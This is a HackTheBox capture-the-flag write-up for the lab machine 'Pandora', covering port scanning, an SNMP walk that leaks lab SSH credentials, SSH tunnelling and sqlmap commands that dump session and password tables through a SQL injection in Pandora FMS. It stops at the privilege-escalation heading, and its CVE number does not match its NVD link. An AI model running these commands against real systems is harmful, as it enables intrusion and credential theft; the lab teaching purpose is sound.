# Pandora 10.10.11.136

## **Background**

**Pandora** is a Linux base machine from [HackTheBox](https://app.hackthebox.eu/machines/359) that required your patient on web searching technique with some encoding concepts and Python Hacking skill is required on the privilege escalation.



**Target Machine**: 10.10.11.136

**Attacker Machine**: 10.10.14.4

## **Hacking Process Part 0 – Service Scanning**

### Nmap

1\) nmap -p- -T5 --min-rate=1000 10.10.11.136 -oG fkclai.nmap \
2\) nmap -p $(grep -Eo '\[0-9]{1,5}/open' fkclai.nmap | cut -d '/' -f 1 | tr -s '\n' ',') -sC -sV 10.10.11.136 -o nmap-result.txt

![](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FuWX0PFimJY1q7gZAZRWJ%2Fimage.png?alt=media\&token=d61fa933-44a8-47dc-b916-dd46b6ec0733)

**Enumeration Strategies**&#x20;

No vulnerability was found on the SSH and HTTP service, it was going to review the web application to check any information leakage or misconfiguration.

## **Hacking Process Part 1 – Enumeration**

With basic web enumeration using gobuster, a set of web pages was found and the following one was interesting with submission function. **However,** it does not find any interesting stuff

![](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FIYDNdHKWMDrpq55p1dWw%2Fimage.png?alt=media\&token=98bd0a6d-8bac-4b5a-a8e4-572e83ef1677)

![dirb http://pandora.htb/ /usr/share/wordlists/dirb/common.txt -o dirb-pandora.result](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FAaILv8uA6ZGZTHEw7vvn%2Fimage.png?alt=media\&token=f81e2fd1-1d1d-469d-b7c1-ab6f11c0eb26)

{% hint style="success" %}
**THINKINGS:** checking UDP ports&#x20;

nmap -sC -sV -sU -top-ports=20 pandora.htb&#x20;
{% endhint %}

```
Nmap scan report for pandora.htb (10.10.11.136)
Host is up (0.27s latency).

PORT      STATE         SERVICE      VERSION
53/udp    closed        domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   open|filtered ntp
135/udp   closed        msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open          snmp         SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 48fa95537765c36000000000
|   snmpEngineBoots: 30
|_  snmpEngineTime: 20m46s
| snmp-processes: 
|   1: 
| 
|   2: 
| 
|   3: 
| 
|_  4: 
| snmp-sysdescr: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
|_  System uptime: 20m46.36s (124636 timeticks)
|_snmp-win32-software: 
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   closed        route
631/udp   closed        ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown
Service Info: Host: pandora

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 135.89 seconds
```

Checking the opening port one by one

#### SNMP Port 161&#x20;

{% embed url="https://book.hacktricks.xyz/pentesting/pentesting-snmp" %}

```
// using the command snmpwalk
snmpwalk -v 2c pandora.htb -c public> smpwalk.result

iso.3.6.1.2.1.25.4.2.1.5.870 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
```

Get a username  `daniel`and password  `HotelBabylon23,` try the SSH connection with this account

![](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2F0ePxElmwIAbWQzT9yVsW%2Fimage.png?alt=media\&token=d8886643-3bce-45dd-9967-1b557e8332d1)

## **Hacking Process Part 2  –** Gaining Foothold



Get the Initial access using the credential found at the SNMP connection string

![](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FpO2pkiqqzrGGXPNKBVih%2Fimage.png?alt=media\&token=7312beac-f764-4588-ba8b-9b4208bc50cd)

Unfortunately, the account cannot access the user.txt

<div align="left"><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FQJxwUxL9GyOnEoPcXbbB%2Fimage.png?alt=media&#x26;token=1181dfdc-0b8e-4e74-8a8c-3450c22fcd79" alt=""></div>

After reviewing the network, it found that there should be a website hosted internally, but it cannot be accessed outside.

![](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FJBNjZkYNWH42GWYwfnJx%2Fimage.png?alt=media\&token=6c64e6c9-562e-47e4-b13f-a90a6783e699)

Try to use SSH tunnelling to redirect the page outside&#x20;

![ssh -L 81:127.0.0.1:80 daniel@pandora.htb](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FjwyDdulcj82vS5zyo9Oq%2Fimage.png?alt=media\&token=346e0cbf-bfd1-41e2-bf16-28a37d73f84f)

![The credential found before cannot login this website](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FQWd9G7mANnDxT5X0Iayp%2Fimage.png?alt=media\&token=99d8fe14-2575-4139-a396-b5263927b670)

A [CVE-2020-5844 ](https://nvd.nist.gov/vuln/detail/CVE-2020-26518#range-6019001)was found on this v7.0NG.742\_FIX\_PERL2020, SQL injection vulnariblity was found. Using SQLMap to check the&#x20;

<div align="left"><img src="https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FscpOVQcGswf3nVr6TeHi%2Fimage.png?alt=media&#x26;token=727ac0c2-424f-4b6c-9ece-f97717ebc394" alt=""></div>

![sqlmap -u "http://127.0.0.1:81/pandora\_console/include/chart\_generator.php?session\_id=1" --batch --dbms=mysql -D pandora -T tsessions\_php -C id\_session,data --dump](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2Fbp0uHUqV82c9N4MCFDLN%2Fimage.png?alt=media\&token=1edb859f-41ac-40dc-b8ba-ed8e92b3f507)

It was found that the name of Database: pandora, table tsessions\_php, and related field identified. Changed the command and executed it again

![sqlmap -u "http://127.0.0.1:81/pandora\_console/include/chart\_generator.php?session\_id=1" --batch --dbms=mysql -D pandora -T tpassword\_history -C id\_pass,id\_user,data\_end,password,data\_begin --dump](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHdTwldplFku-IlYazS%2Fuploads%2FlAC2KXSd9KQX8LwbjWai%2Fimage.png?alt=media\&token=c63f28ba-3336-43fe-aa8a-caa3154aa3e4)











## **Hacking Process Part 3 –** Privilege Escalation
